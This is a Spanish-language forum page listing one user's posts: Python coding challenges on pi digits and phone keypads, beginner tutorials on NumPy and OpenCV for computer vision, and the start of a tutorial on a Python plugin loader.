Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Once

#1
Python / [TPC-R] Reto #2: Decimales de PI
Diciembre 21, 2017, 12:14:44 AM
The Python Challenges
el regreso
Reto #2: Decimales de Pi


La idea de este reto es implementar un script capaz de retornar el n-ésimo decimal de Pi sin calcularlo sino usando esta página: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Consideraciones


  • Se pide obtener los decimales, por lo que el primer 3 no cuenta
  • La función recibirá un argumento (posición) indicando el primer decimal a obtener, este será el primer argumento pasado a la función. Tener en cuenta que posición=0 no representa nada, por lo que la función deve devolver None y  posición=1 indica el primer número decimal
  • Opcionalmente, la función recibirá un segundo argumento (cantidad) que indicará la cantidad de dígitos a obtener a partir de la posición indicada en el primer argumento
  • si el argumento posición es mayor que la cantidad de decimales que proporciona la página, la función debe devolver None

Ejemplos

Código: python
pi(1) -> 1
pi(1, 3) -> 141
pi(14, 2) -> 93
pi(0) -> None


Reglas


  • TODAS las dudas hacerlas en este post, así si algo no queda claro es aclarado para todos los participantes a la vez. Así que bajo ninguna circunstancia se resuelven dudas por privado
  • La solución debe estar escrita en Python 3.*
  • Seguir en la medida de lo posible las PEP8
  • La elegancia de la solución otorga puntos extra
  • Cumplir con la plantilla. (La calificación la hace un bot por lo que es importante seguirla), el no cumplimiento de la plantilla acarrea una sanción en tiempo.
  • El resultado retornado por la función debe ser un entero, no lista ni string.

Plantilla

Código: python
def pi(posicion, cantidad=None):
    resultado = 0  # Resultado a retornar
    return resultado  # Retornamos el resultado

if __name__ == "__main__":
    # Hacer las pruebas del scrip
    # en este bloque para no interferir
    # con la calificación del bot
    pi(1)  # ejemplo de llamada a la función


Ayuda


Calificación
[/b]

Este reto lo gana el script más rápido

Recomendación: Hacer lo que se pide y preferiblemente evitar los prints puesto que consumen tiempo y el bot sólo califica lo que retorna la función.

NOTA: Para este reto se penalizarán la cantidad de librerias externas utilizadas.

Enviar la solución por mp a @Once el reto cierra el domingo a las 11:59PM hora Colombiana

Happy coding
Saludos.
#2
Python / [TPC-R] Reto #1: Phonewords
Diciembre 08, 2017, 12:15:03 AM
The Python Challenges
el regreso
Reto #1: phonewords


La idea de este reto es implementar un script que reciba un string y sea capaz de convertir cada caracter del string a su respectivo número en el teclado de un teléfono.

Consideraciones


  • Si en el string hay un caracter que no representa una letra debe ser ignorado
  • Los espacios se deben conservar
  • El string que recibirá la función puede contener letras tano en mayúsculas como en minúsculas

Ejemplos

Código: python
codificar("Underc0de.org") - > 86337233674
codificar("Esto es una prueba") -> 3786 37 862 774322


Reglas


  • TODAS las dudas preguntarlas en este mismo post, bajo ninguna circunstancia se resuelven dudas por privado/mp.
  • LA solución debe estar escrita en Pytohn 3.*
  • Seguir en la medida de lo posible las PEP8.
  • La elegancia de la solución otorga puntos extra.
  • Cumplir con la plantilla. (Importante puesto que la calificación la realiza un script automáticamente)

Este reto lo gana el script más rápido

Plantilla

Código: python
def codificar(mensaje):
    return None


Enviar la solución por mp a @Once con el asunto: "[TPC-R] Reto #1". El reto cerrará el domingo a las 23:59 horas. Hora Colombiana.

Saludos!
#3
Hola chicos, resulta que necesito aprender programación de microcontroladores en ASM (ya lo sé hacer en C) en un mes, pero los libros que encontré no me satisfacen del todo.

Si alguien por acá sabe del tema y conoce de algún buen libro que me pueda pasar, estaría eternamente agradecido.

Saludos!
#4
Off Topic / Regreso de los "Python Challenges"
Diciembre 04, 2017, 12:59:25 PM
Hola chicos,

Hace un par de años cuando era moderador de ésta sección y junto con WhiZ montamos una serie de retos llamados los "Python Challenges" No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Aunque ya no soy moderador y si a la administración no le parece mal, me gustaría continuar con los retos. (Aprovechando que tengo algo de tiempo) pero antes de ponerme con esto, me gustaría saber si hay algún usuario interesado en participar.

Si alguien estaría interesado en participar, por favor comentar este post.

Saludos!

#5
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Aunque en la entrada anterior ([Parte II: visión artificial] Primeros pasos con OpenCV y Numpy) se habló un poco sobre numpy éste se merece una entrada completa (y más) debido a que el corazón de la visión artificial son las operaciones matriciales lo que hace de numpy una parte imprescindible incluso cuando usamos librerias que hacen gran parte del trabajo como OpenCV. El objetivo de ésta entrada es familiarizarnos un poco más con NumPy y así poder dejar sentado el terreno para comenzar a hacer visión artificial.

¿Cómo recorrer una matriz?
Uno de los principales problemas/confusiones que he notado es a la hora de recorrer una matriz. La confusión es simple, suelen tratar a las matices como sistemas coordenados...

Figura: estructura de una matriz.

Por convención a cada sección horizontal de la matriz la llamamos una fila (verde) y a cada sección vertical una columna (azul). Además, la numeración de las filas y columnas comienza desde la esquina superior izquierda (el origen), las filas crecen hacía abajo y las columnas hacía la derecha.

Para acceder a un elemento, se debe especificar la fila y la columna (generalmente en ese orden exacto) donde se encuentra el elemento.

Y acá está el problema, cuando accedemos a un elemento de una matriz lo hacemos mediante dos coordenadas (fila, columna) por lo que debemos tener en cuenta que las filas nos mueven por la matriz verticalmente y que las columnas nos mueven por la matriz horizontalmente. Contrario a como nos movemos en un sistema coordenado donde por lo general la primer componente nos mueve horizontalmente (el eje de las x), y la segunda verticalmente (el eje de las y).

Tener esto en cuenta nos va a ahora MUCHOS dolores de cabeza en un futuro.

¿Cómo crear una matriz?

Numpy nos proporciona varios métodos para crear matrices:

A partir de una lista
Para crear una matriz a partir de una lista tenemos el método numpy.array() que recibe como parametro una lista (que puede ser una lista de lista en el caso de las matrices)

Código: python
>>> import numpy as np
>>> x = np.array([1, 2, 3])  # Vector
>>> x
array([1, 2, 3])
>>> X = np.array([[1, 2, 3], [4, 5, 6]])  # Matriz 2x3
>>> X
array([[1, 2, 3],
       [4, 5, 6]])


Métodos predefinidos
Numpy también nos proporciona unos métodos predefinidos para crear matrices, por ejemplo la matriz identidad, matrices de unos o de ceros:

Código: python
>>> import numpy as np
>>> identidad = np.identity(3)
>>> identidad
array([[ 1.,  0.,  0.],
       [ 0.,  1.,  0.],
       [ 0.,  0.,  1.]])
>>> ceros = np.zeros((3, 3))
>>> ceros
array([[ 0.,  0.,  0.],
       [ 0.,  0.,  0.],
       [ 0.,  0.,  0.]])
>>> unos = np.ones((3, 3))
>>> unos
array([[ 1.,  1.,  1.],
       [ 1.,  1.,  1.],
       [ 1.,  1.,  1.]])


El método numpy.identity(n) genera la matriz identidad de dimensiones nxn
Los métodos numpy.zeros(tamaño), numpy.ones(tamaño) crean matrices de ceros y unos respectivamente.

¿Operaciones con matrices?
Una de las cosas que más conmociona a las personas cuando se enfrentan por primer vez con numpy es que éste usa los mismos operadores de Python.
Así que veamos un repaso de éstos operadores:


Operador   Uso   Operación
+   a + b   Suma
-   a - b   Resta
*   a * b   Multiplicación
/   a / b   División
//   a // b   División entera
**   a ** b   Potencia
%   a % b   Módulo
<   a < b   Menor que
<=   a <= b   Menor o igual que
==   a == b   Igualdad
>   a > b   Mayor que
>=   a >= b   Mayor o igual que
!=   a != b   Distinto

Éstos son sólo algunos de los operadores de Python que además podemos usar con objetos de numpy. Esto se logra sobreescribiendo los operadores (algo de lo que hablaremos luego en una entrada aparte).

Hay dos cosas que debemos tener en cuenta:


  • Al menos uno de los operandos debe ser un objeto numpy: Así es, no es necesario que los dos operandos sean objetos de numpy, basta con se sólo a, o sólo b sean objetos de numpy para que se pueda realizar la operación sin errores.
  • Éstas operaciones son elemento a elemento: Acá tenemos dos casos:

    • Tanto a como b son objetos de numpy: En este caso, las operaciones se realizan elemento a elemento, es decir, el primero de a con el primero de b, el segundo de a con el segundo de b... por lo que debemos tener en cuenta que tanto a, como b deben tener las mismas dimensiones.
    • Hay un objeto de numpy y un número: En este caso, se aplica la operación deseada a toda la matriz con el número indicado.
      El resultado va a ser una nueva matriz con el resultado de aplicar la operación indicada.


Si queremos la multiplicación habitual de matrices, a partir de Python 3.5 se introdujo el operador @ (PEP 465) que nos permite justo eso, realizar la multiplicación "real" entre matrices.

Un pequeño ejemplo
Código: python
>>> import numpy as np
>>> a = np.ones((3, 3))  # Crea una matriz de unos 3x3
>>> a
array([[ 1.,  1.,  1.],
       [ 1.,  1.,  1.],
       [ 1.,  1.,  1.]])
>>> a = a * 2  # Multiplica cada componente de a por 2
>>> a
array([[ 2.,  2.,  2.],
       [ 2.,  2.,  2.],
       [ 2.,  2.,  2.]])
>>> b = np.ones((3, 3)) ** 5  # Eleva cada componente a la quintapotencia
>>> b
array([[ 1.,  1.,  1.],
       [ 1.,  1.,  1.],
       [ 1.,  1.,  1.]])
>>> b = b + 5  # Suma a cada componente de b 5
>>> b
array([[ 6.,  6.,  6.],
       [ 6.,  6.,  6.],
       [ 6.,  6.,  6.]])
>>> a @ b  # Multiplicación matricial entre a y b
array([[ 36.,  36.,  36.],
       [ 36.,  36.,  36.],
       [ 36.,  36.,  36.]])
>>> b > 5  # Componentes mayores que 5
array([[ True,  True,  True],
       [ True,  True,  True],
       [ True,  True,  True]], dtype=bool)
>>> b < 3  # Componentes menores que 3
array([[False, False, False],
       [False, False, False],
       [False, False, False]], dtype=bool)
>>>


Indexing y slicing
Al igual que las lista en Python, los objetos de numpy también soportan tanto el indexing, como el slicing.

Indexing
El indexing nos permite acceder a un elemento indicando sus coordenadas.

Si estamos trabajando con un vector (matriz con solo una columna o solo una fila) para acceder a un elemento sólo necesitamos su índice:
Código: python
>>> import numpy as np
>>> x = np.array([1, 2, 3])
>>> x[0]
1
>>> x[1]
2
>>> x[-1]
3
>>>


El indexing para vectores funciona igual que para listas.

Si estamos trabajando con matrices, para acceder a un elemento, necesitamos dos coordenadas (a veces tres) la fila y la columna donde se encuentra el elemento que necesitamos:

Código: python
>>> import numpy as np
>>> a = np.identity(3)
>>> a
array([[ 1.,  0.,  0.],
       [ 0.,  1.,  0.],
       [ 0.,  0.,  1.]])
>>> a[1, 1]
1.0
>>> a[1,-1]
0.0
>>> a[0,0]
1.0


Los índices negativos seleccionan un elemento comenzando desde el final del array, siendo -1 la posición del último elemento, -2 la del penultimo y así...

Es por eso que en el caso del array, x[-1] devuelve 3 ya que este es el último elemento del array; y en el caso de la matriz, a[1, -1] devuelve 0.0 ya que éste es el elemento que se encuentra en la primer fila y en la última columna.

Slicing
El slicing es una variación del indexing en la que en lugar de obtener un solo elemento, nos permite obtener un rango de elementos.

La sintaxis es igual a la del slicing para listas:
Código: python

>>> import numpy as np
>>> x = np.arange(10)
>>> x
array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
>>> x[:5]
array([0, 1, 2, 3, 4])
>>> x[5:]
array([5, 6, 7, 8, 9])
>>> x[-1:0:-1]
array([9, 8, 7, 6, 5, 4, 3, 2, 1])
>>> x[-1:0:-2]
array([9, 7, 5, 3, 1])


Se indica el rango que se quiere obtener usando a:b (dos puntos) donde tanto a como b son enteros. a indica el inicio, si se omite, se toma 0 y b indica el final, si se omite, se toma -1.

Hay que tener en cuenta que el rango que devuelve el slicing va desde a hasta  b - 1.

Además, hay un tercer parámetro opcional, también separado por : (dos puntos) que indica el paso (o salto).

Para las matrices la sintaxis es la misma, solo que debemos hacer el slicing tanto para las filas como para las columnas, separadas por una , (coma):


Código: python
>>> import numpy as np
>>> a = np.identity(3)
>>> a
array([[ 1.,  0.,  0.],
       [ 0.,  1.,  0.],
       [ 0.,  0.,  1.]])
>>> a[1:, 1:]
array([[ 1.,  0.],
       [ 0.,  1.]])
>>> a[:1, :1]
array([[ 1.]])
>>> a[:2, :2]
array([[ 1.,  0.],
       [ 0.,  1.]])
>>>


Estos son solo ejemplos de indexing y slicing básicos, para ver operaciones más avanzadas y aclarar posibles dudas, referirse a la documentación oficial


Modificar los valores de una matriz
Para modificar los valores de una matriz podemos hacerlo de a un solo elemento usando indexing, o de a varios elementos usando slicing.

Eso sí, siempre debemos tener en cuenta el tamaño de los datos que queremos escribir coincidan con el tamaño seleccionado en la matriz de destino.

Código: python
>>> import numpy as np
>>> a = np.identity(3)
>>> a
array([[ 1.,  0.,  0.],
       [ 0.,  1.,  0.],
       [ 0.,  0.,  1.]])
>>> a[1, 1] = 10
>>> a
array([[  1.,   0.,   0.],
       [  0.,  10.,   0.],
       [  0.,   0.,   1.]])
>>> a[1:, 1:] = np.ones((3, 3))
Traceback (most recent call last):
  File "", line 1, in
ValueError: could not broadcast input array from shape (3,3) into shape (2,2)
>>> a[1:, 1:] = np.ones((2, 2))
>>> a
array([[ 1.,  0.,  0.],
       [ 0.,  1.,  1.],
       [ 0.,  1.,  1.]])


En éste caso, en la línea 12 ocurre un error porque estamos intentando asignar una matriz 3x3 a una zona de la matriz a de tamaño 2x2.

Uso de máscaras
Otra forma de modificar los elementos de una matriz es mediante el uso de máscaras.

Una máscara es una matriz booleana (de falsos y verdaderos) donde las componentes verdaderas indican los elementos que van a ser modificados.

La máscara se pasa como si ésta fuera un índice:

Código: python
>>> x = np.arange(25)  # Crea un vector
>>> X = x.reshape(5, 5)  # Convierte el vector a matriz de 5x5
>>> X
array([[ 0,  1,  2,  3,  4],
       [ 5,  6,  7,  8,  9],
       [10, 11, 12, 13, 14],
       [15, 16, 17, 18, 19],
       [20, 21, 22, 23, 24]])
>>> mascara = (X % 2 == 0)  # Genera máscara posición de los elementos pares
>>> mascara
array([[ True, False,  True, False,  True],
       [False,  True, False,  True, False],
       [ True, False,  True, False,  True],
       [False,  True, False,  True, False],
       [ True, False,  True, False,  True]], dtype=bool)
>>> X[mascara] = 0  # Cambia todos los pares por cero
>>> X
array([[ 0,  1,  0,  3,  0],
       [ 5,  0,  7,  0,  9],
       [ 0, 11,  0, 13,  0],
       [15,  0, 17,  0, 19],
       [ 0, 21,  0, 23,  0]])


¿Paso de matrices como valor o referencia?
Otro de los inconvenientes (más que inconveniente es un dolor de trasero) en especial para quien apenas está comenzando con Python e incluso para los distraidos es que, a veces, despues de llamar a una función y de pasarle a esta una matriz sobre la que realizaremos una operación suceden cosas extrañas. (brujería podrian pensar algunos) y el culpable está en como Python pasa los parametros por valor y por referencia.

Parametros por valor
Decimos que un parametro se pasa por valor cuando a una función se le pasa el valor (valga la redundancia) de una variable, o en otras palabras, una copia de una variable. Por lo tanto los cambios que se hagan sobre este parametro se hacen sobre la copia.

Parametros por referencia
Decimos que un parametro se pasa por referencia cuando a una función se le pasa la dirección en memoria de una variable en lugar de una copia de la variable. Por lo tanto los cambios que se hagan sobre este parametro, se hacen en la dirección de memoria a la que apunta y por lo tanto se hacen sobre la variable original.


Teniendo ésto en cuenta, ahora debemos comprender como toma Python los parametros por valor y por referencia.

Parametros por valor y referencia en Python
A Python no podemos especificarle explícitamente que valores queremos pasar por valor y cuales por referencia, en su lugar debemos recordar:

Los objetos mutables se pasan por referencia.
Los objetos inmutables se pasan por valor.

Los objetos mutables son aquellos que pueden cambiar su valor.
Los objetos inmutables son aquellos que no pueden cambiar su valor.

Aunque ésta definición no está completa (no es el objetivo de la entrada) es suficiente para comprender la "magía negra" que está por ocurrir. (Eso sí, teniendo en cuenta que las matrices de numpy son objetos mutables).

Código: python
import numpy as np

def funcion(matriz):
    matriz[1, 1] = 10

mi_matriz = np.ones((3, 3))
print("Antes de llamar la función:")
print(mi_matriz)
funcion(mi_matriz)
print("Después de llamar la función:")
print(mi_matriz)


CitarAntes de llamar la función:
[[ 1.  1.  1.]
[ 1.  1.  1.]
[ 1.  1.  1.]]
Después de llamar la función:
[[  1.   1.   1.]
[  1.  10.   1.]
[  1.   1.   1.]]

Ésto significa que los cambios que realizamos a la matriz (incluso con distinto nombre) dentro de la función son visibles (afectan a la variable fuera de la función) fuera de la función.

Si no queremos que esto suceda debemos crear explícitamente una copia de la matriz y pasar a la función ésta copia en lugar de la matriz original.

Para copiar una matriz, podemos hacer uso del método copy() que tienen los objetos de numpy:

Código: python
import numpy as np

def funcion(matriz):
    matriz[1, 1] = 10

mi_matriz = np.ones((3, 3))
print("Antes de llamar la función:")
print(mi_matriz)
funcion(mi_matriz.copy())
print("Después de llamar la función:")
print(mi_matriz)


CitarAntes de llamar la función:
[[ 1.  1.  1.]
[ 1.  1.  1.]
[ 1.  1.  1.]]
Después de llamar la función:
[[  1.   1.   1.]
[  1.   1.   1.]
[  1.   1.   1.]]

Ésta vez pasamos una copia de la matriz y no la matriz como tal, por lo que aunque se sigue pasando la copia de la matriz por referencia se está modificando la copia pero no la original.

Algunos métodos interesantes de numpy
numpy.amin(matriz): Devuelve el menor elemento de la matriz.
numpy.amax(matriz): Devuelve el mayor elemento de la matriz.
numpy.arange(matriz): Similar a range()
numpy.sum(matriz): Suma todos los elementos de la matriz.

Algunos métodos de las matrices (objetos ndarray)
matriz.ravel(): Devuelve un vector con los elementos de la matriz.
matriz.copy(): Copia la matriz.
matriz.reshape(tamaño): Cambia el tamaño de la matriz.

Referirse a la documentación para una lista completa de los métodos y propiedades: ir

Saludos!
Once.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#6
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una introducción a OpenCV y Numpy


En esta segunda entrega sobre visión artificial con Python trataremos una introducción a OpenCV y Numpy. Crearemos imágenes desde cero y abriremos imágenes ya existentes.

¿Qué es OpenCV?

OpenCV (Open source Computer Vision) es un libreria bajo la licencia BSD diseñada y optimizada para hacer visión por computador y aprendizaje automático. Está disponible para los lenguajes C, C++, Java y Python. Además puede correr sobre Windows, Linux, MAC, IOS y Android.

La documentación de esta libreria se puede consultar (y descargar) desde acá.

¿Qué es NumPy?

Numpy es una libreria optimizada para hacer computación científica con Python, especialmente algebra lineal (matricial) que es lo que nos interesará para hacer visión por computador.

¿Es necesario usar estas librerias?

No, la respuesta es un rotundo no. La visión por computar es básicamente operaciones matriciales, operaciones que podemos implementar no solo en Python puro y duro, sino que en casi cualqueir otro lenguaje.

La ventaja, entonces, está en que estas librerias fueron creadas y son mantenidas por verdaderos expertos en el tema (científicos de la computación, matemáticos, etc) lo que da como resultado algoritmos realmente optimizados.

Configurando el entorno

Durante esta serie de entregas necesitaremos básicamente tres librerias:

OpenCV: Para hacer visión por computador.
Numpy: Para hacer operaciones matriciales.
Matplotlib: Para graficar (especialmente histogramas)

Todas estas librerias están disponibles para descargar usando pip.

Instalando los paquetes necesarios


Código: bash
# pip install python-opencv

# pip install numpy

# pip install matplotlib


¿Estamos listos? Entonces... comencemos

Como vimos en la entrega anterior, una imagen no es más que un sistema de matrices donde cada entrada representa un nivel de gris para cada píxel.

Creando nuestra primer imagen

Como ya hemos mencionado antes una imagen no es más que una matriz de valores numéricos. Demostremos esto con un simple ejemplo.

Código: python
import numpy as np
import cv2

# Creamos una matriz de unos de 100 filas y 100 columnas
imagen = np.ones((100, 100, 3), np.uint8)
# Mostramos la imagen
cv2.imshow("Mi primer imagen", imagen)
# Guardamos la imagen donde esta el script
cv2.imwrite("Mi primer imagen.png", imagen)
cv2.waitKey()  # Pausa la ejecuación hasta que se presione una tecla
cv2.destroyAllWindows()  # Cierra todas las ventanas abiertas


Una vez ejecutamos el script anterior tenemos que el resultado es el siguiente:


Imagen creada con Numpy

En las primeras dos líneas importamos numpy (y le asignamos el alias np, para no tener que estar escribiendo numpy todo el rato) y OpenCV (cv2).

Luego creamos una matriz de unos con la función ones de numpy. Si imprimimos imagen (print(numpy)) veremos que, efectivamente, es una matriz llena de unos.

Citarnumpy.ones(shape, dtype=None): Crea un array de dimensión sahape donde cada entrada es del tipo dtype.

shape: es la forma que tendrá el array, si solo tiene un elemento será una lista, dos elementos (n, m) representan una matriz con n filas y m columnas. Y con tres elementos  (n, m, z) n filas, m columnas y z representa la cantidad de matrices o canales que tendrá el array.

En este ejemplo creamos una matriz llena de unos con 100 filas, 100 columnas y un solo canal donde todas las entradas son números enteros de 8 bits.

Citarcv2.imshow(nombre, img): Muestra la imagen img. nombre es una cadena que representará la ventana donde se muestra la imagen. img debe ser una matriz.

cv2.imwrite(nombre, img): Guarda en el disco duro la matriz img como una imagen con el nombre nombre

Entonces... ¿cómo se representa una imagen a color?.

En el ejemplo anterior creamos una imagen de un solo canal (una sola matriz) lo que significa que solo podemos representar un color. Para este caso el gris o escala de grises.

Si queremos representar una imagen a color, vamos a necesitar más canales (ya no solo una matriz) dependiendo del modelo de color con el que queremos trabajar.

Código: python
import numpy as np
import cv2

# Creamos la matriz de uno 100 filas
# 100 columnas y 3 canales
imagen = np.ones((100, 100, 3), np.uint8)
# agregamos color a la imagen
# A todas las columas pero primeras 25 filas
# Asigna el valor (255, 0, 0)
imagen[:, 0:25] = (255, 0, 0)
# A todas las columnas pero desde la fila
# 25 hasta la 50 asigna el valor (0, 255, 0)
imagen[:, 25:50] = (0, 255, 0)
# A todas las columnas pero desde la fila
# 50 hasta la 75 asigna el valor (0, 0, 255)
imagen[:, 50:75] = (0, 0, 255)

# Guardamos la imagen en el disco duro
cv2.imwrite("imagen_color.png", imagen)
# Mostramos la imagen
cv2.imshow("imagen", imagen)
# Esperamos que se presione una tecla
cv2.waitKey()
# Cerramos todas las ventanas
cv2.destroyAllWindows()


El resultado es el siguiente:



Imagen a color generada con Numpy.

Y ahora sí obtenemos una imagen a color usando solamente numpy.

El cambio en este código está en la forma del array shape (100, 100, 3) donde el tres representa la cantidad de canales de la imagen, como trabajamos con el modelo RGB necesitamos tres canales, uno para el rojo, otro para el verde y un último para el azul.

OpenCV por defecto trabajo con el modelo BGR que es el mismo modelo RGB, pero con los valores invertidos.

Otra cosa nueva es la forma de asignar los colores a la imagen, esta forma se llama indexing y es muy parecido al slicing solo que para arrays multidimencionales. El formato es el siguiente:

Citarmatriz[a:b, c:d] = tupla

Donde a representa la primer fila a seleccionar y b la última fila a seleccionar. c representa la primer columa a seleccionar y d la última columna a seleccionar.

Si no se especifica a o c se selecciona desde el primer elemento.
Si no se especifica b o d se selecciona hasta el último elemento.

tupla debe ser una tupla o lista de elemetos a asignar a la matriz en la posicion señanala. Debe tener la misma longitud que canales la imagen. El primer elemento es asignado a la primer matriz y así sucesivamente hasta el último valor que es asignado a la última matriz.

Leer una imagen con OpenCV

OpenCV cuenta con una función que nos permite leer una imagen desde el disco y nos devuelve un array de numpy.

Citarcv2.imread(name, flag): Lee la imagen name y devuelve una matriz.

Si el parámetro flag es positivo OpenCV interpretará la imagen como si tuviera tres canales y por lo tanto devolvera una matriz con tres canales.

Si el parámetro es cero  OpenCV leerá la imagen en esacala de grises y por lo tanto devolverá una matriz de un solo canal.

Si el parámetro es negativo OpenCV leerá la imagen tal cual como es y los canales de la matriz resultante dependen de la imagen a leer.


Obteniendo el tamaño de una imagen


Luego de abrir una imagen con OpenCV, el resultado es un array de numpy, por lo que tenemos todas las ventajas que nos brinda los objetos de numpy, uno de ellos es la propiedad shape.

La propiedad shape devuelve una lista que indica la cantidad de filas, columnas y canales que tiene un array respectivamente. Si la lista solo contiene dos elementos, indica que el array solo tiene un solo canal.

Su uso es muy simple:
Código: python

import numpy as np
import cv2

#  Leemos la imagen
img = cv2.imread("imagen.jpg")
#  Imprimimos el tamanio
print(img.shape)


Comprendiendo el flag de la función cv2.imread()

Haciendo un par de cambios al ejemplo anterior, podemos comprender mejor el significado del falg en la función cv2.imread()
Código: python

import numpy as np
import cv2

img = cv2.imread("logo.png")
print("Sin flag:", img.shape)

img = cv2.imread("logo.png", -1)
print("flag negativo:", img.shape)

img = cv2.imread("logo.png", 0)
print("flag cero:", img.shape)

img = cv2.imread("logo.png", 1)
print("flag positivo:", img.shape)


El resultado será algo así:

CitarSin flag: (99, 82, 3)
flag negativo: (99, 82, 4)
flag cero: (99, 82)
flag positivo: (99, 82, 3)

En todos los casos tenemos una matriz de 99 filas y 82 columnas, pero con distintos canales. Analicemos el significado.

flag negativo: La imagen se interpreta tal cual como es, por lo que tenemos tres canales para el color y uno más para la transparencia.
flag cero: La imagen se interpreta a escala de grises y por lo tanto sólo se necesita un canal.
flag positivo: La imagen se interpreta como si sólo tuviera tres canales (elimina la transparencia).


Diferencias según el flag.

Saludos.
Once.
#7
Python / Visión artificial con Python
Abril 09, 2017, 12:44:36 AM
Originalmente posteado en: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



El objetivo de esta entrada (y en general de esta serie de entradas) es llevar la visión artificial a cualquier usuario de Python gracias  a las libreria OpenCV y Numpy. En esta entrada en concreto se abordará un poco de la teoría sobre la visión artificial pero lo suficiente como para comprender el material de las próximas entradas.



Representación digital de las imágenes

Antes de comenzar, debemos tener en cuenta cómo están representadas las imágenes o dicho de otra manera, cómo es una imagen para el computador.


  • Lo primero y más importante es que una imagen no es más que una matriz numérica (para imágenes en blanco y negro o a escala de grises) o varias matrices para imágenes a color. A cada una de estas matrices las llamamos componente.
  • Cada entrada de ésta matriz es un número que representa el color que debe tener la imagen en esa coordenada y que llamamos píxel y al valor de cada píxel lo llamamos nivel de gris.

Sistema de visión artificial

Un sistema de visión artificial generalmente se puede dividir en cinco etapas principales:


  • Adquisición imágenes: Es la etapa donde se forma y adquiere la imagen (rayos x, cámaras tradicionales, cámaras infrarojas, ultrasonido, etc).
  • Pre-procesamiento: Es la etapa que busca mejorar la calidad de la imagen para que pueda ser usada después.
  • Segmentación: Es la etapa donde se separan los distintos objetos presentes en la imagen.
  • Extracción de caracteristicas:  Es la etapa donde se obtienen las caracteristicas de los objetos previamente segmentados (color, dimensiones, textura).
  • Toma de desiciones: Es la etapa donde, a partir de los resultados de la etapa anterior se toma una decisión, como por ejemplo mover un brazo robótico a una coordenada específica.


Representación del color
Modelo de color

Un modelo de color es un modelo mate mático que permite representar los colores en forma numérica.

Existen varios modelos de color que aunque se puede representar la misma imagen usando varios modelos, en visión artificial es útil muchas veces representar las imágenes usando modelos diferentes al RGB ya que distintos canales de distintos modelos pueden resaltar detalles diferentes aunque la información completa no cambie.

Algunos modelos
RGB
El modelo RGB (Red, Green and Blue) es un modelo en el que los colores pueden ser representados por un vector de tres posiciones que representan los niveles de intensidad de rojo, verde y azul para cada pixel. El modelo RGB es un modelo aditivo.
CMYK
El modelo CMYK (Cyan, Magenta, Yellow, Key) es un modelo en que los colores pueden ser representados por un vector de cuatro posiciones que a su vez representan los niveles de cian, magenta, amarillo y negro para cada pixel. Éste es un modelo sustractivo.


El histograma
El histograma es un gráfico que nos muestra las frecuencias de ocurrencia de los niveles de gris en una imagen.

El histograma es una herramienta muy importante (como veremos en las siguientes entradas) ya que nos permite hacernos una idea de qué operaciones debemos hacer a la imagen para mejorar su calidad, especialmente durante la etapa de preprocesamiento.



Imagen y su histograma.

Como se puede observar en la imagen anterior, en el eje de las x está representado el nivel de gris que puede tomar cada píxel (para una imagen de 8 bits, hay
2^8= 256 formas de representar los niveles de gris) y en el eje de las y está representado la cantidad de píxeles que hay por cada nivel de gris.

¿Qué es el ruido?
El ruido en las imágenes es información no deseada que contamina las imágenes. El ruido puede ser varios tipos y ser generado en la adquisición de la imagen por defectos del sensor o por errores o interferencias durante la transmisión de la imagen.

El ruido puede llegar a ser un gran problema cuando estamos haciendo visión por computador, especialmente en la etapa de segmentación, por eso uno de los principales objetivos de la etapa de preprocesamiento es intentar reducir el ruido de una imagen.

Algunos tipos de ruido.
Ruido gaussiano
Es el ruido cuya aparición sigue una distribución de probabilidad normal (o gaussiana).

Este tipo de ruido suele aparecer durante la adquisición de la imagen y se debe principalmente a condiciones de baja iluminación y/o altas temperaturas. Y durante la transmisión a causa del ruido electrónico en los circuitos.



Imagen sin ruido. Wikipedia


Imagen ruido gaussiano. Wikipedia.


Ruido sal y pimienta
También conocido como ruido impulsivo es ruido que consiste en pixeles  blancos sobre regiones negras (ruido tipo sal) y/o pixeles negros sobre regiones claras (ruido tipo pimienta).

Este tipo de ruido se debe a problemas en la conversión de la imagen en el sensor y/o errores en la transmisión.


Imagen con ruido impulsivo.


Referencias
[1] No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[2] No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#8
Python / Pequeño sistema plugins Python 3
Diciembre 11, 2016, 03:31:36 AM

En Python importar módulos en tiempo de ejecución es tan complicado como llamar un método. Esto, junto con algunas de las built-in functions como hasattr() y getattr() (que nos permiten tanto obtener como saber, respectivamente si un objeto existe en otro objeto) nos permitirá agregar funcionalidades a nuestros scripts sobre la marcha con relativamente poco esfuerzo.

Antes de comenzar a programar debemos definir la estructura que van a tener los plugins que se desean importar y por lo tanto cómo se van a implementar en el sistema base.

En esta entrada vamos a programar una calculadora en consola, donde cada función es implementada por un plugin. Las partes del sistema serán:


  • Base: Es quien implementa los plugins.
  • Loader: Es quien encuentra y carga los plugins.
  • Plugins: Son quienes añaden funcionalidades a la base.

La estructura en este caso va a ser muy simple, la calculadora usará un diccionario donde se guardará el nombre de la función como key y como value una tupla donde el primer elemento es la descripción de la función y el segundo la referencia a la función que se debe ejecutar cuando sea seleccionada esa opción.

Loader

El módulo importlib (en Python a partir de la versión 3.1) nos brinda, entre otros el método import_module() el cual nos permite cargar en tiempo de ejecución un módulo. Devuelve la referencia al módulo si este se pudo cargar o, en su defecto lanza un error del tipo: ImportError Ver documentación

Antes de poder importar los módulos, debemos encontrarlos y para eso usaremos las librerias glob y os:

glob.glob(pathname, recursive=False): Lista los elementos de un directorio, teniendo la posibilidad de usar comodines para encontrar archivos que cumplan con determinadas condiciones.
os.path.join(path, *paths): Devuelve un string con la concatenación de las rutas que recive como argumento.
os.path.isfile(path): Devuelve True si path es un archivo.
os.path.split(path): Devuelve una lista con la división de path en dos partes: primero la ruta del archivo y segundo el nombre del archivo.

Sólo necesitamos una función que liste los archivos de un directorio, encuentre los scripts de Python, los importe y guarde sus referencias para poderlos llamar luego.

